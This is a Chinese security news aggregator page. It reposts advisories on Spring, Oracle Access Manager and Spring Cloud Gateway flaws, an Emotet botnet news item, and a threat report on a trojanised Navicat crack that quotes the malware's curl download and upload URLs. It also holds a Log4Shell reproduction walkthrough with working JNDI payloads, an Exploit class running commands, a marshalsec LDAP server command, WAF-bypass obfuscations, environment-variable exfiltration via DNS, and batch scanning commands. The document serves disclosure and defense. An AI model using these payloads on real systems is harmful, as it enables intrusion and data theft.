微慑信息网

业界快讯 第3页

Spring框架远程代码执行漏洞 -- vulsee.com

微慑管理员阅读(2675)

0x00 漏洞情况

Spring Framework框架存在远程代码执行漏洞,未经授权的远程攻击者可构造恶意请求在目标系统上执行任意代码,此漏洞为Spring framework远程代码执行漏洞(CVE-2010-1622)的绕过利用。

0x01 受影响版本

Spring Framework < 5.3.18

Spring Framework < 5.2.20

0x02 漏洞利用条件

JDK9及其以上版本

使⽤了Spring-beans包在受影响范围

Spring参数绑定使⽤了⾮基本参数类型,如POJO

0x03 修复建议

1、临时修复措施
WAF等网络防护设备上,根据实际部署业务的流量情况,实现对“class. * ” ,“Class.*”,“*.class.*”,“*.Class.*”等字符串的规则过滤,并在部署过滤规则后,对业务运行情况进行测试,避免产生额外影响。
2、官方升级
目前官方已发布新版本5.2.20.RELEASE与5.3.18修复此漏洞,请受影响的用户尽快更新进行防护。
下载链接:https://github.com/spring-projects/spring-framework/releases




原文始发于微信公众号(非曰安全):Spring框架远程代码执行漏洞

【漏洞通告】Oracle Access Manager 未授权远程代码执行漏洞CVE-2021-35587 -- vulsee.com

微慑管理员阅读(1803)

 

漏洞名称

Oracle Access Manager 未授权远程代码执行漏洞

组件名称

Oracle Access Manager

影响范围

Oracle Access Manager 11.1.2.3.0

Oracle Access Manager 12.2.1.3.0

Oracle Access Manager 12.2.1.4.0

漏洞类型

远程代码执行

利用条件

1、用户认证:不需要用户认证
2、前置条件:默认配置

3、触发方式:远程

综合评价

<综合评定利用难度>:未知。

<综合评定威胁等级>:严重,能造成远程代码执行。

漏洞分析

组件介绍

Oracle Access Management 访问管理器(Access Manager)是以前的(独立)产品,名为 Oracle Access Manager。Access Manager 提供 Oracle Fusion Middleware 单点登录 (SSO) 解决方案。

2 漏洞描述

近日,深信服安全团队监测到一则 Oracle Access Manager 组件存在未授权远程代码执行漏洞的信息,漏洞编号:CVE-2021-35587,CVSS评分:9.8分,漏洞威胁等级:严重。

该漏洞是由于 Oracle Access Manager 未对 HTTP 请求进行有效的验证,攻击者可利用该漏洞在未授权的情况下,构造恶意数据进行远程代码执行漏洞攻击,最终获取服务器最高权限。

影响范围

 

Access Manager 提供 Oracle Fusion Middleware 单点登录 (SSO) 解决方案。全球总计30000以上的资产使用了Oracle Fusion Middleware。国内省份主要分布在广西、北京、辽宁等省份。

目前受影响的版本:

Oracle Access Manager 11.1.2.3.0

Oracle Access Manager 12.2.1.3.0

Oracle Access Manager 12.2.1.4.0

解决方案

 

 

1 官方修复建议

当前官方已发布受影响版本的对应补丁,建议受影响的用户及时更新官方的安全补丁。链接如下:

https://www.oracle.com/security-alerts/cpujan2022.html

2 深信服解决方案

1.检测方案

【深信服安全云眼CloudEye】预计2022年3月24日,完成检测更新,对所有用户网站探测,保障用户安全。不清楚自身业务是否存在漏洞的用户,可注册信服云眼账号,获取30天免费安全体验。

注册地址:http://saas.sangfor.com.cn

【深信服云镜YJ】预计2022年3月24日,完成检测能力的发布,部署了云镜的用户可以通过升级来快速检测网络中是否受该高危风险影响,避免被攻击者利用。离线使用云镜的用户需要下载离线更新包来获得漏洞检测能力,可以连接云端升级的用户可自动获得漏洞检测能力。

【深信服安全感知管理平台SIP】预计2022年3月24日,结合云端实时热点高危/紧急漏洞信息,可快速检出业务场景下的该漏洞,并可联动【深信服下一代防火墙AF】等产品实现对攻击者IP的封堵。

2.防护方案

【深信服下一代防火墙AF】预计2022年3月24日,可防御此漏洞, 建议用户将深信服下一代防火墙开启 IPS 防护策略,并更新最新安全防护规则,即可轻松抵御此高危风险。

【深信服Web应用防火墙WAF】预计2022年3月24日,可防御此漏洞, 建议用户将深信服Web应用防火墙WAF开启IPS防护策略,并更新最新安全防护规则,即可轻松抵御此高危风险。

3.服务方案

【深信服安全托管服务MSS】以保障用户网络安全“持续有效”为目标,通过将用户安全设备接入安全运营中心,依托于XDR安全能力平台和MSSP安全服务平台实现有效协同的“人机共智”模式,围绕资产、脆弱性、威胁、事件四个要素为用户提供7*24H的安全运营服务,快速扩展持续有效的安全运营能力,保障可承诺的风险管控效果。

参考链接

https://www.oracle.com/security-alerts/cpujan2022.html

时间轴

2022/3/23 深信服监测到Oracle Access Management漏洞信息。

2022/3/23  深信服千里目安全实验室发布漏洞通告。

点击阅读原文,及时关注并登录深信服智安全平台,可轻松查询漏洞相关解决方案。

【漏洞通告】Oracle Access Manager 未授权远程代码执行漏洞CVE-2021-35587

原文始发于微信公众号(深信服千里目安全实验室):【漏洞通告】Oracle Access Manager 未授权远程代码执行漏洞CVE-2021-35587

Spring Cloud 突发重大漏洞!! -- vulsee.com

微慑管理员阅读(1508)

大家好,我是冰河~~

Spring Cloud 突发漏洞

Log4j2 的核弹级漏洞刚告一段落,Spring Cloud Gateway 又突发高危漏洞,又得折腾了。。。

2022年3月1日,Spring官方发布了关于Spring Cloud Gateway的两个CVE漏洞,分别为CVE-2022-22946与CVE-2022-22947:

版本/分支/tag:3.4.X

问题描述

Spring Cloud 突发重大漏洞!!

Spring Cloud Gateway 是 Spring Cloud 下的一个项目,该项目是基于 Spring 5.0、Spring Boot 2.0 和 Project Reactor 等技术开发的网关,它旨在为微服务架构提供一种简单有效、统一的 API 路由管理方式。

漏洞1:Spring Cloud Gateway 远程代码执行漏洞(CVE-2022-22947)

3 月 1 日,VMware 官方发布安全公告,声明对 Spring Cloud Gateway 中的一处命令注入漏洞进行了修复,漏洞编号为 CVE-2022-22947:

https://tanzu.vmware.com/security/cve-2022-22947

漏洞描述

使用 Spring Cloud Gateway 的应用如果对外暴露了 Gateway Actuator 端点时,则可能存在被 CVE-2022-22947 漏洞利用的风险。攻击者可通过利用此漏洞执行 SpEL 表达式,允许在远程主机上进行任意远程执行。,获取系统权限。

影响范围

漏洞利用的前置条件:

  • 除了 Spring Cloud Gateway 外,程序还用到了 Spring Boot Actuator 组件(它用于对外提供 /actuator/ 接口);
  • Spring 配置对外暴露 gateway 接口,如 application.properties 配置为:
# 默认为truemanagement.endpoint.gateway.enabled=true

# 以逗号分隔的一系列值,默认为 health# 若包含 gateway 即表示对外提供 Spring Cloud Gateway 接口management.endpoints.web.exposure.include=gateway

漏洞影响的 Spring Cloud Gateway 版本范围:

  • Spring Cloud Gateway 3.1.x < 3.1.1
  • Spring Cloud Gateway 3.0.x < 3.0.7
  • 其他旧的、不受支持的 Spring Cloud Gateway 版本

解决方案

更新升级 Spring Cloud Gateway 到以下安全版本:

  • Spring Cloud Gateway 3.1.1
  • Spring Cloud Gateway 3.0.7

或者在不考虑影响业务的情况下禁用 Gateway actuator 接口:

在application.properties 中设置 :

management.endpoint.gateway.enabled 为 false

漏洞2:CVE-2022-22946:Spring Cloud Gateway HTTP2 不安全的 TrustManager

漏洞描述

使用配置为启用 HTTP2 且未设置密钥存储或受信任证书的 Spring Cloud Gateway 的应用程序将被配置为使用不安全的 TrustManager。这使得网关能够使用无效或自定义证书连接到远程服务。

影响范围

Spring Cloud Gateway = 3.1.0

解决方案

官方已经发布安全版本,请升级到3.1.1+

参考资料

官方已经发布安全版本,请升级到3.1.1+

  • https://tanzu.vmware.com/security/cve-2022-22946
  • https://tanzu.vmware.com/security/cve-2022-22947

好了,今天就到这儿吧,我是冰河,我们下期见~~

原文始发于微信公众号(冰河技术):Spring Cloud 突发重大漏洞!!

僵尸网络Emotet卷土重来,已感染179个国家的13万台设备 -- vulsee.com

微慑管理员阅读(1461)

曾经臭名昭著的僵尸网络Emotet在2021年初被全球执法部门重拳出击后消失了一段时间,如今,它已卷土重来,而且势头凶猛。据Securityaffairs等网站消息,Emotet自去年11月复出以来发展迅猛,已经感染了约13万台主机,遍布179个国家。

僵尸网络Emotet卷土重来,已感染179个国家的13万台设备

Emotet 于 2014 年被首次发现,最初是作为一种银行木马病毒进行传播,但随着发展逐渐囊括了越来越多的恶意程序,如Trickbot 和 QBot,以及勒索软件Conti、ProLock、Ryuk和 Egregor等,构建成了一个庞大的僵尸网络。2021 年 11 月,来自多家网络安全公司(Cryptolaemus、GData和 Advanced Intel)的研究人员报告称,攻击者正利用TrickBot 恶意软件在受感染设备上投放 Emote 加载程序,专家们跟踪了旨在利用TrickBot的基础设施重建Emotet僵尸网络的活动。

研究人员指出,新的 Emotet具有了一些新功能:

除了规避检测和分析,还能对网络流量进行加密,以及将进程列表分离到自己的模块中;

采用椭圆曲线加密 (ECC) 方案,代了用于网络流量保护和验证的 RSA 加密;

新版本只有在与C2建立连接后才会部署进程列表模块;

添加了更多信息收集功能,以更好地进行系统分析,而以前,Emotet 只会发回正在运行的进程列表。

但与之前的版本相似,Emotet 的大部分C2基础设施位于美国和德国,其次是法国、巴西、泰国、新加坡、印度尼西亚、加拿大、英国和印度;在机器人(Bot)方面,则重点分布在日本、印度、印度尼西亚、泰国、南非、墨西哥、美国、中国、巴西和意大利。分析人士认为,排名靠前的国家是由于这些地区拥有较多过时且易受攻击的Windows设备

去年年初,由荷兰、德国、美国、英国、法国、立陶宛、加拿大和乌克兰组成的执法部门曾开展行动,破坏了Emotet相关基础设施。由此看来,这次行动并不彻底,导致Emotet在沉寂大半年后死灰复燃。

参考来源

https://securityaffairs.co/wordpress/128879/breaking-news/emotet-botnet-rapidly-growing.html

https://www.bleepingcomputer.com/news/security/emotet-growing-slowly-but-steadily-since-november-resurgence/

僵尸网络Emotet卷土重来,已感染179个国家的13万台设备



精彩推荐






僵尸网络Emotet卷土重来,已感染179个国家的13万台设备

僵尸网络Emotet卷土重来,已感染179个国家的13万台设备
僵尸网络Emotet卷土重来,已感染179个国家的13万台设备
僵尸网络Emotet卷土重来,已感染179个国家的13万台设备
僵尸网络Emotet卷土重来,已感染179个国家的13万台设备

原文始发于微信公众号(FreeBuf):僵尸网络Emotet卷土重来,已感染179个国家的13万台设备

密码保护:测试

微慑管理员阅读(1121)

此内容受密码保护。如需查阅,请在下列字段中输入您的密码。

国内某 macOS 应用下载站遭黑客投毒攻击

微慑管理员阅读(3163)

本文来自:微步在线威胁情报通报

编号: TB-2022-0021 报告置信度:90

TAG: 软件供应链攻击 macOS navicat 投毒 APT 攻击 Winnti

TLP: 红 (仅限接受报告的组织内部使用)

日期: 2022-02-22

·················摘 要···············

微步情报局监测发现,国内某第三方 macOS 应用下载(www.macwk.com)上出现被APT 组织投毒的数据库管理应用 Navicat Premium。Navicat Premium 是一款流行的收费数据库管理应用,攻击者利用部分使用者寻找破解版的需求,在流行的第三方 macOS 应用下载站投放被投毒的 Navicat Premium 破解版,进而实现对下载使用者的入侵。鉴于该站点上此应用下载量较高(历史总计超 37 万次),且投毒事件超过三周,我们判断该事件影响范围较广。

经过微步情报局关联分析,相关木马与 2021 年 9 月份微步情报局披露的安全事件-macOS 平台上多款常用运维工具遭 APT 投毒攻击中使用的木马相同,因此将攻击者归属为Winnti 族组织。

微步情报局建议高度重视本次软件供应链投毒攻击,并根据附件 IOC 及时排查相关企业/部门内部是否存在相关网络威胁,保护自身安全。

················事件概要··············

攻击目标 全行业
攻击时间 2022 年 1 月 30 日至今
攻击向量 供应链攻击
攻击复杂度

················事件详情··············

2022 年 2 月,微步情报局监测发现,第三方 macOS 应用下载站(www.macwk.com)上出现被 APT 组织投毒的数据库管理应用 Navicat Premium。Navicat Premium是一款流行的收费数据库管理应用,攻击者利用部分使用者寻找破解版的需求,在流行的第三方 macOS 应用下载站投放被投毒的 Navicat Premium 破解版,进而实现对下载使用者的入侵。

根据此下载网站的统计,该应用下载总次数在 37 万次以上,影响范围十分广泛。

➢ 第三方 macOS 应用下载站(www.macwk.com)上被投毒的 Navicat Premium

图片

对被投毒的 Navicat Premium 破解版进行分析,其运行流程为下图:

图片

被投毒的NavicatPremium在运行后加载libcrypto.2.dylib,然后请求云端地址

https://www.jackteng.com/aCbnd4bZaXXkQNVB/v.php。该云端地址返回执行命令curl-sfo\tmp\d.pyhttp:\\120.77.35.111\d.py

图片

加载libcrypto.2.dylib

d.py是python编写的木马程序,具备收集数据并将数据上传至C&C服务器的能力,包含当前操作系统的信息、应用列表、主机名和IP地址的映射关系、用户名、本地IP、git 全局信息、bash历史记录、zsh历史记录等。收集到的数据会首先被写到/Users/{username}/Library/Logs/tmp/目录的文件中,然后上传文件到http://120.77.35.111/u.php?id=

图片

收集的信息

经过关联分析,此攻击手法和使用的木马与2021年9月份微步情报局曾披露安全事件-macOS平台上多款常用运维工具遭APT投毒攻击中相同,因此将此次攻击的攻击者归属为Winnti族组织。

图片

图片

图片

图片

图片

报告-macOS平台上多款常用运维工具遭APT投毒攻击

················处置建议··············

1.    根据威胁情报,排查网络中从第三方应用下载站进行下载安装应用的主机,逐台清理。

2.    微步在线云端已更新相关情报,建议更新TDP情报至最新版本,并全面覆盖贵单位网络区域。关注含有标签Winnti的告警。

3.    加强应用软件安装规范,避免安装不可靠来源的第三方应用,建议通过AppStore以及官方网站安装应用软件。

lnmp升级mysql

微慑管理员阅读(1739)

由于有个数据库用的宝塔,数据库版本是5.7.22的,现在把数据迁移到lnmp上,但数据库是5.6,导致数据导入会出问题,

为了解决这玩意儿,准备在lnmp下升级mysql,但是一升级就提示访问链接无效,链接如下:

http://cdn.mysql.com/Downloads/MySQL-5.7/mysql-5.7.8.tar.gz

后来发现他升级是先判断lnmp目录下的src里面是否有对应版本,没有的话,再去互联网取,但这个链接目前已经失效,只好下载一个完整版,把里面的mysql提取出来,放入src中,

再升级即可:

[website] 安装memchached模块之后CPU100%的问题处理

微慑管理员阅读(1647)

存在的问题:

php7.2/php7.4+memcached+BT面板,当开启memcached模块时,会在一段时间内出现CPU100%的情况

且流量巨大,当然bt面板的流量是包括本地通讯流量:

 

分析:

1、php7.2时,怀疑与版本有关,升级到php7.4,过一段时间依然会CPU100%,

2、分别设置了php设置及mysql设置为最大化

3、查杀了病毒,并没有什么发现

解决:

1、仅安装memcached,之前同时开启了memcache和memcached

2、开启了宝塔防火墙,防止CC攻击,开始发现端倪:

 

Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)

bingbot为什么请求xmlrpc.php?

在该CC攻击前,服务器确实存在过一次CPU100%的情况,但很快降了下来,怀疑是bot一直请求该接口导致

 

后续

bingbot为什么请求xmlrpc.php?

 

[python] 分词测试1

微慑管理员阅读(1052)

示例语句

"签约仪式前,秦光荣、李纪恒、仇和等一同会见了参加签约的企业家。",

"王国强、高峰、汪洋、张朝阳光着头、韩寒、小四",

"张浩和胡健康复员回家了",

"王总和小丽结婚了",

"编剧邵钧林和稽道青说",

"这里有关天培的有关事迹",

"龚学平等领导,邓颖超生前",

调试结果:

 

 

log4Shell核弹级漏洞复现&Ladon批量检测

微慑管理员阅读(1855)

图片

漏洞简介

Apache Log4j2是一款优秀的Java日志框架。近日,漏洞银行安全团队注意到了Apache Log4j2远程代码执行漏洞。由于Apache Log4j2某些功能存在递归解析功能,攻击者可直接构造恶意请求,触发远程代码执行漏洞。

漏洞原理
Apache Log4j2 中存在JNDI注入漏洞,当程序将用户输入的数据进行日志记录时,即可触发此漏洞,成功利用此漏洞可以在目标服务器上执行任意代码。

影响版本

Apache Log4j 2.0 <= 2.15.0-rc1

影响产品

    Apache Struts    Apache Struts 2    Apache Solr    Apache Druid    Apache Flink    Apache Spark    Apache Tomcat    ElasticSearch    Flume    Apache Dubbo    Logstash    Kafka    Spring-Boot-starter-log4j2
RedHat     Not all RedHat packages are vulnerable, but some of the Openshift and JBoss packages are affected.     https://access.redhat.com/security/cve/cve-2021-4
Jenkins Although Jenkins Core is not affected by default, plug-ins installed in Jenkins can use the vulnerable version of Log4J. There is also a method to verify if any of the plug-ins installed uses Log4j. The second link contains a list of the vulnerable versions of the plug-in that have been found as of this writing.
https://www.jenkins.io/blog/2021/12/10/log4j2-rce-CVE-2021-44228/
https://issues.jenkins.io/browse/JENKINS-67353?focusedCommentId=416946&page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel#comment-416946
Apache Solr Apache Solr releases prior to 7.4 are affected. https://solr.apache.org/security.html#apache-solr-affected-by-apache-log4j-cve-2021-44228
VMWare Multiple products are affected. https://www.vmware.com/security/advisories/VMSA-2021-0028.html
Citrix Investigation pending https://support.citrix.com/article/CTX335705
Atlassian Atlassian is vulnerable if the default configuration was modified. https://confluence.atlassian.com/kb/faq-for-cve-2021-44228-1103069406.html
NetApp Multiple NetApp products are vulnerable. https://security.netapp.com/advisory/ntap-20211210-0007/

PS: 除了本文列的这些产品,还有很多产品受到影响,具体可Google搜漏洞编号加产品名称,若是官方公告注明哪些版本修复漏洞或哪些版本测试存在漏洞,就代表该产品受到影响,不用你一个个搭环境测试,先不说搭各种环境费时间,就算搭好了触发点在哪,你也得测好长时间,所以要善用搜索引擎。

漏洞环境1

使用IDEA新建项目,漏洞示例代码如下

import org.apache.logging.log4j.LogManager;import org.apache.logging.log4j.Logger;
public class log4j { private static final Logger logger = LogManager.getLogger(log4j.class);
public static void main(String[] args) { //logger.error("${jndi:ldap://192.168.250.83:800/calc}"); logger.error("${jndi:rmi://192.168.250.83:800/calc}");    }}

漏洞复现1

启用Ladon的web监听,编译执行Poc项目,可看到Ladon回显目标IP以及提交的数据,Ldap出现一些特殊符号,最明显的是几个笑脸,Rmi回显前几个字符串为JRMI,回显以下特征说明目标存在jdni注入漏洞。

Ladon web 800

图片

其实也不是非要jndi来远程测试漏洞,log4j也支持java获取信息环境变量等,本地APP需要测试还好,实战是盲测,不像本地可以后台看,实战你只能外带,所以才用到jndi协议,有些人问为什么不用其它协议,因为受漏洞限制只能jndi协议,利用你就得看jndi支持什么协议,你才能利用什么协议。如以下代码,编译项目执行,会输出版本和操作系统信息。

logger.error("${java:version}/${java:os}");

也可使用以下协议探测

    ${jndi:ldap:/}    ${jndi:ldaps:/}    ${jndi:rmi:/}    ${jndi:dns:/}    ${jndi:iiop:/}

图片

漏洞环境2

使用docker搭建环境,这样可模拟从内网另一台机来攻击该机器

docker pull vulfocus/log4j2-rce-2021-12-09:latest

启动环境2

docker run -d -P vulfocus/log4j2-rce-2021-12-09:latest

图片

漏洞复现2

由于不知道漏洞触发点,使用LadonExp.exe盲测,发现注入点为Accept参数,测试方法所有参数均填写payload,目标URL填写需要测试的站点,点击Build_Exe,然后点击Test_exe测试即可。

图片

改成rmi协议时,发现无法触发,于是看了下环境的JDK版本,发现是292的,JDK1.8 191起默认不支持RMI协议,所以用rmi测试失败。

root@4e4424eccb8d:/demo# java -versionopenjdk version "1.8.0_292"OpenJDK Runtime Environment (build 1.8.0_292-8u292-b10-0ubuntu1~18.04-b10)OpenJDK 64-Bit Server VM (build 25.292-b10, mixed mode)

以下协议自行测试

${date:ldap://${java:ldap://${marker:ldap://${ctx:ldap://${lower:ldap://${upper:ldap://${jndi:ldap://${jndi:rmi://${main:ldap://${jvmrunargs:ldap://${sys:ldap://${env:ldap://${log4j:ldap://

批量检测C段

将LadonExp生成的exe改名为log4poc.exe,使用以下命令即可批量检测C段站点是否存在log4j的jndi注入漏洞。

Ladon 192.168.1.1/c log4poc.exe

批量检测url.txt

提供你已找好使用JAVA开发的站点URL,存放于url.txt,使用以下命令检测

Ladon url.txt log4poc.exe

PS: 有人说Ladon为什么不提供log4j漏洞检测,实际上早提供了,之前我不是发过好几篇使用LadonExp一键生成漏洞Poc的演示文章吗?不需要懂编程,只要懂漏洞原理,抓别人的包,填写对应参数,就可快速实战批量使用新的POC,这技能你们都不学,错过了最佳时期别怪我啊…

Exploit

使用JAVA编译exp.java生成我们的反序列化类Exploit.class,放在Ladon目录下,使用Ladon web 800一键开启渗透专用迷你web服务器。演示代码为弹出计算器,实战自行修改代码实现任意功能,不只是执行CMD。要知道所谓CMD命令也是由各编程语言的代码编译成EXE后才是你所使用的命令,代码执行可做CMD做不了的很多事,这是代码执行和命令执行的最大区别。本漏洞主要是受限于触发的jndi协议限制,不能本地内部执行代码或命令,需远程加载,实际上也能执行些简短代码的,如漏洞环境1

//javac exp.java

class Exploit {

    static {

        System.err.println(“k8gege”);

        try {

            String test= “calc”;

            Runtime.getRuntime().exec(test);

        } catch ( Exception e ) {

            e.printStackTrace();

        }

    }

}

启动Ladp服务器

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://192.168.250.83:800/#Exploit"

将漏洞复现1的POC代码修改,指向我们的ldap服务器,编译执行弹出calc

图片

Payload

${jndi:ldap://${hostName}.log4shell.k8gege.org}${jndi:rmi://${hostName}.log4shell.k8gege.org}
Ladon监听${jndi:ldap://192.168.1.8:800/test}${jndi:rmi://192.168.1.8:800/test}
DNS协议:${jndi:dns://${hostName}.log4shell.k8gege.org}${jndi:dns://${env:COMPUTERNAME}.log4shell.k8gege.org}${jndi:dns://${env:USERDOMAIN}.log4shell.k8gege.org}

WAF拦截规则

应急时可能WAF使用以下特征拦截,很明显治标不治本,只能暂时缓解

${date:ldap://${java:ldap://${marker:ldap://${ctx:ldap://${lower:ldap://${upper:ldap://${jndi:ldap://${jndi:rmi://${main:ldap://${jvmrunargs:ldap://${sys:ldap://${env:ldap://${log4j:ldap://

Bypass RC1

${jndi:ldap://127.0.0.1:1389/ badClassName}


Bypass WAF

${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://k123.k123.k123/poc}${${::-j}ndi:rmi://k123.k123.k123/ass}${jndi:rmi://k8.k123.k123}${${lower:jndi}:${lower:rmi}://k8.k123.k123/poc}${${lower:${lower:jndi}}:${lower:rmi}://k8.k123.k123/poc}${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://k8.k123.k123/poc}

该漏洞利用条件

  1. Log4j2版本Log4j 2.0 <= 2.15.0-rc1,并非有调用log4j就有洞

  2. JDK版本限制,jdk8u191之后RMI和LDAP默认不能从远程加载类

  3. 可能产生日志记录的地方,用户登陆日志记录啊,UserAgent、Cookie等,谁知道网站开发者想记录用户什么数据?不确定的情况下,盲测但凡有参数的地方,我们都可以尝试,或许有惊喜。

  4. 目标允许出网,不能出网,存在洞你也不知道,除非你已进入内网,通过Ladon在内网监听,测试内网站点是否存在jndi漏洞。假设机器只允许dns出网,使用Dnslog探测存在漏洞,TCP协议出不了,ldap、rmi等无法加载class,你也拿不了shell啊,存在洞和能拿权限是两回事。

PS: 该漏洞说大影响大嘛也是真的非常大,但说它鸡肋也鸡肋,因为我的目标就没一个成功的,或许存在洞的机器早已通过其它洞拿下,

有些人问为什么不用dnslog?

你喜欢用dnslog的话也可以,没什么问题,只是这几天这洞玩的人太多,dnslog经常卡死,无法使用,这是第一个原因其次使用dnslog,意味着我们的目标或者说正在测试只有内部人知道公司某些服务器使用log4j,若是别人也随机到和你相同的域名,你们公司存在漏洞的站点IP泄露出去,会是什么后果?使用自己的VPS来搭建的接收器才是最安全的,当然ldap或rmi协议出不来的话,就只能用dnslog来接收dns协议,因为Ladon无法监听DNS协议,当然要是你要时间也可以完全自己搭个DNS服务器还接收。

图片

为什么Ladon能监听LDAP、RMI?

为什么ldap、rmi、http等协议Ladon可以监听到,因为它们本身就是特殊的tcp协议,所以Ladon当然能捕获到。初中有没学过正方形是特殊的长方形,就是说你把正方形说成长方形也没错,Ladon虽然主要只是解析HTTP协议,但也没完全对其它协议进行丢弃,只要对前面部份数据16进制原样解析还是会看到一些明显的字眼如JRMI协议,所以Ladon对于一些非HTTP协议也可以从控制台看出来,同理以后其它无回显漏洞也可以使用Ladon监听,之前我也发过3篇文章,Linux无回显渗透、Java无回显渗透、PowerShell等,大家一定要学会举一反三,不要非要等别人告诉你,你才知道在这种场景也能用。

漏洞修复

方案一

更新至官方修复版本

https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc2

方案二

①在jvm启动参数中添加

Dlog4j2.formatMsgNoLookups=true
②系统环境变量中配置FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS=true
③项目中创建log4j2.component.properties文件,文件中增加配置log4j2.formatMsgNoLookups=true

Log4j-JAVA

系统信息ID     usage     method1     ${java:version}     getSystemProperty("java.version")2     ${java:runtime}     getRuntime()3     ${java:vm}     getVirtualMachine()4     ${java:os}     getOperatingSystem()5     ${java:hw}     getHardware()6     ${java:locale}     getLocale()
环境变量id usage1 ${env:A8_HOME}2 ${env:A8_ROOT_BIN}3 ${env:ALLUSERSPROFILE}4 ${env:APPDATA}5 ${env:CATALINA_BASE}6 ${env:CATALINA_HOME}7 ${env:CATALINA_OPTS}8 ${env:CATALINA_TMPDIR}9 ${env:CLASSPATH}10 ${env:CLIENTNAME}11 ${env:COMPUTERNAME}12 ${env:ComSpec}13 ${env:CommonProgramFiles}14 ${env:CommonProgramFiles(x86)}15 ${env:CommonProgramW6432}16 ${env:FP_NO_HOST_CHECK}17 ${env:HOMEDRIVE}18 ${env:HOMEPATH}19 ${env:JRE_HOME}20 ${env:Java_Home}21 ${env:LOCALAPPDATA}22 ${env:LOGONSERVER}23 ${env:NUMBER_OF_PROCESSORS}24 ${env:OS}25 ${env:PATHEXT}26 ${env:PROCESSOR_ARCHITECTURE}27 ${env:PROCESSOR_IDENTIFIER}28 ${env:PROCESSOR_LEVEL}29 ${env:PROCESSOR_REVISION}30 ${env:PROMPT}31 ${env:PSModulePath}32 ${env:PUBLIC}33 ${env:Path}34 ${env:ProgramData}35 ${env:ProgramFiles}36 ${env:ProgramFiles(x86)}37 ${env:ProgramW6432}38 ${env:SESSIONNAME}39 ${env:SystemDrive}40 ${env:SystemRoot}41 ${env:TEMP}42 ${env:TMP}43 ${env:ThisExitCode}44 ${env:USERDOMAIN}45 ${env:USERNAME}46 ${env:USERPROFILE}47 ${env:WORK_PATH}48 ${env:windir}49 ${env:windows_tracing_flags}50 ${env:windows_tracing_logfile}

相关文章

[原创]Ladon 9.1.1 & CobaltStrike插件发布

无回显命令执行漏洞之Linux渗透方法

JAVA反序列化漏洞命令执行回显方法

微慑信息网 专注工匠精神

微慑信息网-VulSee.com-关注前沿安全态势,聚合网络安全漏洞信息,分享安全文档案例

访问我们联系我们

登录

找回密码

注册